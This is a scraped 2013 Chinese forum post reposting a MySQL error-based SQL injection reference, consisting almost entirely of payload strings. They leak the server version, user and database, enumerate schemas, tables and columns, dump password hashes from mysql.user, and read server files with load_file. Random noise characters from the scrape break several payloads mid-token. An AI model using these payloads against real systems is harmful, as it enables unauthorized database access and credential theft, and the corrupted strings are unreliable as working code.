本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
' k& D8 E) F% x6 [4 c5 `. N b% Q, \+ o8 y. C/ c: X
g8 f/ a# a, g3 l$ K- D7 s/ N$ qMysql暴错注入参考(pdf),每天一贴。。。8 k) n# H) a, ~9 Q! S: i( m
7 ]9 F! d/ M9 n, n" }9 ^% z+ _, VMySql Error Based Injection Reference' Z5 j! H, C! G1 N5 m- I: S; E
[Mysql暴错注入参考]" T9 y% Z U5 Y# |5 H9 ^0 Y
Authornig0s1992% A: \3 w) y, y# [
Blog:http://pnig0s1992.blog.51cto.com/
' B( T% C0 `0 STeAm:http://www.FreeBuf.com/
( ]: e: w2 H& \6 r/ d+ i0 _3 @Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
- f! u' N' ]$ A- E/ P小部分版本使用name_const()时会报错.可以用给出的Method.2测试
+ ?" S9 U- y: m1 M查询版本:& c: s+ i9 E9 o! z$ q7 W- G. N
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
3 Y7 V$ u' c0 W+ Tjoin+(select+name_const(@@version,0))b)c)
; [/ G6 y! g: s! p1 o- H+ {Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro- i. E) S: \4 ~
up by a)b)0 ]$ i" C9 w9 c" a/ b4 {7 |
查询当前用户:8 t% g" \6 }) W2 y: g
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
! @: P% ~5 s: e, K- _3 fMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r# h* ~& z/ \6 w: O! x0 n
and(0)*2))x+from+information_schema.tables+group+by+x)a)
5 V9 _& ?8 m. I7 |% o查询当前数据库:: `% C, a' J. m2 q3 T( u {
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
* O- H2 ?( r( M" T7 [# X6 f: d7 pMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo& B! E* U, T5 q7 G- g$ j8 \6 i
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)% _; I% q0 j0 d7 ]5 } M4 w: D
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
# S7 I; z+ Z0 z7 I2 Q( FLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
S! s/ o c. p* d$ W2 M! D顺序替换* ?0 ^8 R9 s) C0 d! y9 d
爆指定库数目:( G, i; Q: e9 ~ M! \8 N
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
4 W, X9 p1 A# jable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group, B4 _: q4 L. _ z% _% F) `
+by+x)a)+and+1=1 0x6D7973716C=mysql
: U/ b: ]; F" T; |( X) [) Y" v2 z依次爆表:, f1 v- n0 d" O4 s
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
+ k- Z% }# S0 \$ ~$ p9 Yable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta3 u* n% W8 E' T1 j! G7 p3 c2 N
bles+group+by+x)a)+and+1=1
0 M; q1 |3 ]% }/ ^7 n0x6D7973716C=Mysql 将n顺序替换$ h, D9 O4 T, a u+ [" r+ I% E
爆表内字段数目:
; h: k6 {! x0 Q% {7 _8 k6 R! Eand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE i# `! d5 \1 C2 y6 {. W1 c: K4 i
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran5 f) @: ]- K! h; v6 L
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=10 \5 a! B) ]# U
依次爆字段:
, c$ v! d J; f0 d4 J% ?and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where5 \. ^5 d% o H! c; K
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1+ z6 L9 Z# C; g
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
- ~4 ~: v8 y7 p/ i$ A* ?4 M. H依次暴内容:/ V9 C+ g- @) R' |* m3 D
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche$ N6 I- B; h# S9 u" u; f( S
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
' `) @7 k7 g" Z6 n3 s& X. r将n顺序替换) z2 |! X" ^. |* W
爆文件内容:+ u3 s! ]5 Y- r! @, D3 b# j
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
( }+ i( Y5 R( n/ y$ ~from+information_schema.tables+group+by+a)b) S5 ?* I/ U- T6 x' [
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节* ?7 ?6 ~- T# y' W& u2 `* Z
Thx for reading.
* L$ I& y' n. x1 H) {' \4 a
" k# K8 A5 m. A: U/ X. }不要下载也可以, ( b5 M* a( Q5 w4 @8 L8 K& O! V
|